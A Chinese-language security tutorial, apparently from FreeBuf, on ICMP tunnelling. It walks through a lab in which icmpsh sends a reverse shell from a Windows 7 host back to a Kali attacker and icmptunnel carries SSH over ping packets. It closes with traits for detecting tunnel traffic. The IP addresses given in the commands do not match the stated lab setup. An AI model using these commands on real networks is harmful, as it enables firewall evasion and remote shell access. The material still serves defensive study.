风起云涌123
- 关注

ICMP协议
ICMP协议简介ICMP是“Internet Control Message Protocol”(Internet控制消息协议)的缩写。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。
正常的ICMP流量
ICMP隧道工具
在一些网络环境中,攻击者会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙,实现不受限制的网络访问。
典型工具:
icmpsh
powershell icmp
icmptunnel
ptunnel
ICMP隧道工具-icmpsh
icmpsh工具使用简单,是一个跨平台工具,运行不需要管理员权限。
icmpsh下载地址:
https://github.com/inquisb/icmpsh
环境:
攻击机/C2通道:192.168.159.185(Kali Linux)
宿主机:192.168.159.158(Windows 7)
以主模式运行icmpsh(Kali Linux)
关闭ping回复,防止内核自己对ping包进行响应
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 192.168.1.185 192.168.1.158
然后在Win7上执行命令:
icmpsh.exe -t 192.168.217.185
成功反弹shell到kali
ICMP隧道工具-icmptunnel
icmptunnel是一个将IP流量封装到 ICMP echo请求和回复(ping)包中的隧道工具,是在允许 ping 的网络中进行拓展、绕过防火墙的一种半隐蔽方式。
下载地址:
https://github.com/jamesbarlow/icmptunnel
攻击机:192.168.159.169
靶机:192.168.159.184
攻击机和靶机执行
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all #禁用icmp回复
攻击机执行
./icmptunnel -s #监听
重新打开一个命令行窗口
ifconfig tun0 10.0.0.1 netmask 255.255.255.0 #添加tun0网卡,分配隧道地址10.0.0.1/24
靶机执行
./icmptunnel 192.168.159.169 #连接服务端
重新打开一个命令行窗口
ifconfig tun0 10.0.0.2 netmask 255.255.255.0 #添加tun0网卡,分配隧道地址10.0.0.2/24
在攻击机上进行ssh连接
ssh root@10.0.0.2
成功链接。
ICMP隧道流量特征
1.ICMP会话种数据包总数较大
2.隧道中单个数据包传输的数据量较大
3.请求包和响应包不一致
4.部分隧道工具会显示tun的标志
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
